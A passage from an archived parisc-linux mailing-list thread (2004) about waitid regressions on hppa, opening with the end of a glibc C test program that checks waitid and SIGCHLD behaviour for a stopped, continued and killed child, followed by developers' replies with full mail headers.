check_sigchld (const char *phase, int *ok, int code, int status, pid_t pid)
{
  if (expecting_sigchld)
    {
      error (0, 0, "missing SIGCHLD on %s", phase);
      *ok = EXIT_FAILURE;
      expecting_sigchld = 0;
      return;
    }

  if (sigchld_info.si_signo != SIGCHLD)
    {
      error (0, 0, "SIGCHLD for %s signal %d", phase, sigchld_info.si_signo);
      *ok = EXIT_FAILURE;
    }
  if (sigchld_info.si_code != code)
    {
      error (0, 0, "SIGCHLD for %s code %d", phase, sigchld_info.si_code);
      *ok = EXIT_FAILURE;
    }
  if (sigchld_info.si_status != status)
    {
      error (0, 0, "SIGCHLD for %s status %d", phase, sigchld_info.si_status);
      *ok = EXIT_FAILURE;
    }
  if (sigchld_info.si_pid != pid)
    {
      error (0, 0, "SIGCHLD for %s pid %d", phase, sigchld_info.si_pid);
      *ok = EXIT_FAILURE;
    }
}
# define CHECK_SIGCHLD(phase, code_check, status_check) \
  check_sigchld ((phase), &status, (code_check), (status_check), pid)
#else
# define CHECK_SIGCHLD(phase, code, status) ((void) 0)
#endif

int
main (int argc, char *argv[])
{
#ifdef SA_SIGINFO
  struct sigaction sa;
  sa.sa_flags = SA_SIGINFO|SA_RESTART;
  sa.sa_sigaction = &sigchld;
  if (sigemptyset (&sa.sa_mask) < 0 || sigaction (SIGCHLD, &sa, NULL) < 0)
    {
      error (0, errno, "setting SIGCHLD handler");
      return EXIT_FAILURE;
    }
#endif

  expecting_sigchld = 1;

  pid_t pid = fork ();
  if (pid < 0)
    {
      error (0, errno, "fork");
      return EXIT_FAILURE;
    }
  else if (pid == 0)
    {
      test_child ();
      _exit (127);
    }

  int status = EXIT_SUCCESS;
#define RETURN(ok) \
    do { if (status == EXIT_SUCCESS) status = (ok); goto out; } while (0)

  /* Give the child a chance to stop.  */
  sleep (3);

  CHECK_SIGCHLD ("stopped", CLD_STOPPED, SIGSTOP);

  /* Now try a wait that should not succeed.  */
  siginfo_t info;
  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  int fail = waitid (P_PID, pid, &info, WEXITED|WCONTINUED|WNOHANG);
  switch (fail)
    {
    default:
      error (0, 0, "waitid returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WNOHANG on stopped");
      RETURN (errno == ENOTSUP ? EXIT_SUCCESS : EXIT_FAILURE);
    case 0:
      if (info.si_signo == 0)
	break;
      if (info.si_signo == SIGCHLD)
	error (0, 0, "waitid WNOHANG on stopped status %d\n", info.si_status);
      else
	error (0, 0, "waitid WNOHANG on stopped signal %d\n", info.si_signo);
      RETURN (EXIT_FAILURE);
    }

  /* Next the wait that should succeed right away.  */
  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  info.si_pid = -1;
  info.si_status = -1;
  fail = waitid (P_PID, pid, &info, WSTOPPED|WNOHANG);
  switch (fail)
    {
    default:
      error (0, 0, "waitid WSTOPPED|WNOHANG returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WSTOPPED|WNOHANG on stopped");
      RETURN (errno == ENOTSUP ? EXIT_SUCCESS : EXIT_FAILURE);
    case 0:
      if (info.si_signo != SIGCHLD)
	{
	  error (0, 0, "waitid WSTOPPED|WNOHANG on stopped signal %d\n",
		 info.si_signo);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_code != CLD_STOPPED)
	{
	  error (0, 0, "waitid WSTOPPED|WNOHANG on stopped code %d\n",
		 info.si_code);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_status != SIGSTOP)
	{
	  error (0, 0, "waitid WSTOPPED|WNOHANG on stopped status %d\n",
		 info.si_status);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_pid != pid)
	{
	  error (0, 0, "waitid WSTOPPED|WNOHANG on stopped pid %d != %d\n",
		 info.si_pid, pid);
	  RETURN (EXIT_FAILURE);
	}
    }

  expecting_sigchld = WCONTINUED != 0;

  if (kill (pid, SIGCONT) != 0)
    {
      error (0, errno, "kill (%d, SIGCONT)", pid);
      RETURN (EXIT_FAILURE);
    }

  /* Wait for the child to have continued.  */
  sleep (2);

#if WCONTINUED != 0
  if (expecting_sigchld)
    {
      error (0, 0, "no SIGCHLD seen for SIGCONT (optional)");
      expecting_sigchld = 0;
    }
  else
    CHECK_SIGCHLD ("continued", CLD_CONTINUED, SIGCONT);

  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  info.si_pid = -1;
  info.si_status = -1;
  fail = waitid (P_PID, pid, &info, WCONTINUED|WNOWAIT);
  switch (fail)
    {
    default:
      error (0, 0,
	     "waitid WCONTINUED|WNOWAIT returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WCONTINUED|WNOWAIT on continued");
      RETURN (errno == ENOTSUP ? EXIT_SUCCESS : EXIT_FAILURE);
    case 0:
      if (info.si_signo != SIGCHLD)
	{
	  error (0, 0, "waitid WCONTINUED|WNOWAIT on continued signal %d\n",
		 info.si_signo);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_code != CLD_CONTINUED)
	{
	  error (0, 0, "waitid WCONTINUED|WNOWAIT on continued code %d\n",
		 info.si_code);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_status != SIGCONT)
	{
	  error (0, 0, "waitid WCONTINUED|WNOWAIT on continued status %d\n",
		 info.si_status);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_pid != pid)
	{
	  error (0, 0, "waitid WCONTINUED|WNOWAIT on continued pid %d != %d\n",
		 info.si_pid, pid);
	  RETURN (EXIT_FAILURE);
	}
    }

  /* That should leave the CLD_CONTINUED state waiting to be seen again.  */
  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  info.si_pid = -1;
  info.si_status = -1;
  fail = waitid (P_PID, pid, &info, WCONTINUED);
  switch (fail)
    {
    default:
      error (0, 0, "waitid WCONTINUED returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WCONTINUED on continued");
      RETURN (errno == ENOTSUP ? EXIT_SUCCESS : EXIT_FAILURE);
    case 0:
      if (info.si_signo != SIGCHLD)
	{
	  error (0, 0, "waitid WCONTINUED on continued signal %d\n",
		 info.si_signo);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_code != CLD_CONTINUED)
	{
	  error (0, 0, "waitid WCONTINUED on continued code %d\n",
		 info.si_code);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_status != SIGCONT)
	{
	  error (0, 0, "waitid WCONTINUED on continued status %d\n",
		 info.si_status);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_pid != pid)
	{
	  error (0, 0, "waitid WCONTINUED on continued pid %d != %d\n",
		 info.si_pid, pid);
	  RETURN (EXIT_FAILURE);
	}
    }

  /* Now try a wait that should not succeed.  */
  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  fail = waitid (P_PID, pid, &info, WCONTINUED|WNOHANG);
  switch (fail)
    {
    default:
      error (0, 0, "waitid returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WCONTINUED|WNOHANG on waited continued");
      RETURN (errno == ENOTSUP ? EXIT_SUCCESS : EXIT_FAILURE);
    case 0:
      if (info.si_signo == 0)
	break;
      if (info.si_signo == SIGCHLD)
	error (0, 0,
	       "waitid WCONTINUED|WNOHANG on waited continued status %d\n",
	       info.si_status);
      else
	error (0, 0,
	       "waitid WCONTINUED|WNOHANG on waited continued signal %d\n",
	       info.si_signo);
      RETURN (EXIT_FAILURE);
    }
#endif

  expecting_sigchld = 1;

  /* Die, child, die!  */
  if (kill (pid, SIGKILL) != 0)
    {
      error (0, errno, "kill (%d, SIGKILL)", pid);
      RETURN (EXIT_FAILURE);
    }

#ifdef WNOWAIT
  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  info.si_pid = -1;
  info.si_status = -1;
  fail = waitid (P_PID, pid, &info, WEXITED|WNOWAIT);
  switch (fail)
    {
    default:
      error (0, 0, "waitid WNOWAIT returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WNOWAIT on killed");
      RETURN (errno == ENOTSUP ? EXIT_SUCCESS : EXIT_FAILURE);
    case 0:
      if (info.si_signo != SIGCHLD)
	{
	  error (0, 0, "waitid WNOWAIT on killed signal %d\n",
		 info.si_signo);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_code != CLD_KILLED)
	{
	  error (0, 0, "waitid WNOWAIT on killed code %d\n",
		 info.si_code);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_status != SIGKILL)
	{
	  error (0, 0, "waitid WNOWAIT on killed status %d\n",
		 info.si_status);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_pid != pid)
	{
	  error (0, 0, "waitid WNOWAIT on killed pid %d != %d\n",
		 info.si_pid, pid);
	  RETURN (EXIT_FAILURE);
	}
    }
#else
  /* Allow enough time to be sure the child died; we didn't synchronize.  */
  sleep (2);
#endif

  CHECK_SIGCHLD ("killed", CLD_KILLED, SIGKILL);

  info.si_signo = 0;		/* A successful call sets it to SIGCHLD.  */
  info.si_pid = -1;
  info.si_status = -1;
  fail = waitid (P_PID, pid, &info, WEXITED|WNOHANG);
  switch (fail)
    {
    default:
      error (0, 0, "waitid WNOHANG returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    case -1:
      error (0, errno, "waitid WNOHANG on killed");
      RETURN (EXIT_FAILURE);
    case 0:
      if (info.si_signo != SIGCHLD)
	{
	  error (0, 0, "waitid WNOHANG on killed signal %d\n",
		 info.si_signo);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_code != CLD_KILLED)
	{
	  error (0, 0, "waitid WNOHANG on killed code %d\n",
		 info.si_code);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_status != SIGKILL)
	{
	  error (0, 0, "waitid WNOHANG on killed status %d\n",
		 info.si_status);
	  RETURN (EXIT_FAILURE);
	}
      if (info.si_pid != pid)
	{
	  error (0, 0, "waitid WNOHANG on killed pid %d != %d\n",
		 info.si_pid, pid);
	  RETURN (EXIT_FAILURE);
	}
    }

  fail = waitid (P_PID, pid, &info, WEXITED);
  if (fail == -1)
    {
      if (errno != ECHILD)
	{
	  error (0, errno, "waitid WEXITED on killed");
	  RETURN (EXIT_FAILURE);
	}
    }
  else
    {
      error (0, 0, "waitid WEXITED returned bogus value %d\n", fail);
      RETURN (EXIT_FAILURE);
    }

#undef RETURN
 out:
  if (spurious_sigchld)
    status = EXIT_FAILURE;
  signal (SIGCHLD, SIG_IGN);
  kill (pid, SIGKILL);		/* Make sure it's dead if we bailed early.  */
  return status;
}


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] waitid doesn't work on hppa?
Date: Fri, 24 Sep 2004 00:16:20 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200409240416.i8O4GKQp026533@hiauly1.hia.nrc.ca>
References: <20040924035552.GS27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623571 11186 80.91.229.3 (22 Nov 2014 02:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19031 invoked by uid 65534); 24 Sep 2004 04:16:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 24 Sep 2004 06:16:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8E2043BE16; Thu, 23 Sep 2004 22:16:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25447-07; Thu, 23 Sep 2004 22:16:41 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AC4393BE1C; Thu, 23 Sep 2004 22:16:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F2093BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 22:16:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25447-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 22:16:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AB4F23BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 22:16:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8O4GKcP026534; Fri, 24 Sep 2004 00:16:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8O4GKQp026533;
	Fri, 24 Sep 2004 00:16:20 -0400 (EDT)
In-Reply-To: <20040924035552.GS27033@baldric.uwo.ca> from "Carlos O'Donell" at
	Sep 23, 2004 11:55:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22035

> I see waitid regressions in the glibc testsuite. I'm not sure if this
> had anything to do with these hanging processes. I haven't looked too
> deeply.

This is probably the cause of the expect hangs.  For some reason
tcl8.3 works better than 8.4.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] waitid doesn't work on hppa?
Date: Fri, 24 Sep 2004 00:37:49 -0400
Organization: wh0rd.org
Lines: 27
Approved: news@gmane.org
Message-ID: <200409240037.49160.vapier@gentoo.org>
References: <20040924000646.GZ22642@tausq.org>
	<20040924035552.GS27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623571 11189 80.91.229.3 (22 Nov 2014 02:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7956 invoked by uid 65534); 24 Sep 2004 04:38:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 24 Sep 2004 06:38:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 663733BE16; Thu, 23 Sep 2004 22:38:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25718-05; Thu, 23 Sep 2004 22:38:18 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59FF93BE1C; Thu, 23 Sep 2004 22:38:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97E543BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 22:37:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25718-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 22:37:57 -0600 (MDT)
Original-Received: from wh0rd.org (wh0rd.org [212.13.198.204])
	by free.linux.hp.com (Postfix) with ESMTP id BBCE73BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 22:37:56 -0600 (MDT)
Original-Received: (qmail 17790 invoked from network); 24 Sep 2004 00:37:49 -0400
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 24 Sep 2004 00:37:49 -0400
Original-Received: (qmail 7704 invoked from network); 24 Sep 2004 00:37:35 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 24 Sep 2004 00:37:35 -0400
User-Agent: KMail/1.7
In-Reply-To: <20040924035552.GS27033@baldric.uwo.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22036

On Thursday 23 September 2004 11:55 pm, Carlos O'Donell wrote:
> I see waitid regressions in the glibc testsuite. I'm not sure if this
> had anything to do with these hanging processes. I haven't looked too
> deeply.

i know we tried a 20040916 glibc snapshot at Gentoo but had to abandon it 
because of so many problems ...

one of them is what you describe, processes running just fine but hanging just 
before exit ... but we saw that on amd64 ...
in other words, these waitpid problems are probably not arch related :)

here's what i noticed in an amd64 chroot:
- 20040808 glibc snapshot works great
- install 20040916 glibc snapshot, things work fine
- rebuild bash against 20040916 ... suddenly all child processes of the new 
bash shells hang after they've completed normal operations ... note that bash 
is the *only* app that's been recompiled against the new glibc
- install 20040808 glibc, bug persists; rebuild bash, things works fine 
again ...
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] waitid doesn't work on hppa?
Date: Fri, 24 Sep 2004 14:06:02 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20040924130602.GA16153@parcelfarce.linux.theplanet.co.uk>
References: <20040924000646.GZ22642@tausq.org>
	<20040924035552.GS27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623572 11190 80.91.229.3 (22 Nov 2014 02:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13023 invoked by uid 65534); 24 Sep 2004 13:06:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 24 Sep 2004 15:06:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 653D83BDF8; Fri, 24 Sep 2004 07:06:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30642-03; Fri, 24 Sep 2004 07:06:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D1A4B3BE22; Fri, 24 Sep 2004 07:06:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD63D3BE16
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:06:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27046-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:06:04 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 2AE753BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:06:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CAply-0007ux-6M; Fri, 24 Sep 2004 14:06:02 +0100
Content-Disposition: inline
In-Reply-To: <20040924035552.GS27033@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22037

On Thu, Sep 23, 2004 at 11:55:53PM -0400, Carlos O'Donell wrote:
> I see waitid regressions in the glibc testsuite. I'm not sure if this
> had anything to do with these hanging processes. I haven't looked too
> deeply.

Possibly it's because we haven't hooked up sys_waitid yet?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] waitid is badly emulated with waitpid (cannot reap
	child and a couple of other things)
Date: Fri, 24 Sep 2004 09:14:56 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20040924131455.GT27033@baldric.uwo.ca>
References: <20040924000646.GZ22642@tausq.org>
	<20040924035552.GS27033@baldric.uwo.ca>
	<20040924130602.GA16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623572 11191 80.91.229.3 (22 Nov 2014 02:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4435 invoked by uid 65534); 24 Sep 2004 13:15:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 24 Sep 2004 15:15:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8C1F63BE22; Fri, 24 Sep 2004 07:15:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30812-02; Fri, 24 Sep 2004 07:15:32 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C7A03BE23; Fri, 24 Sep 2004 07:15:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBBD23BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:15:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30642-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:15:09 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
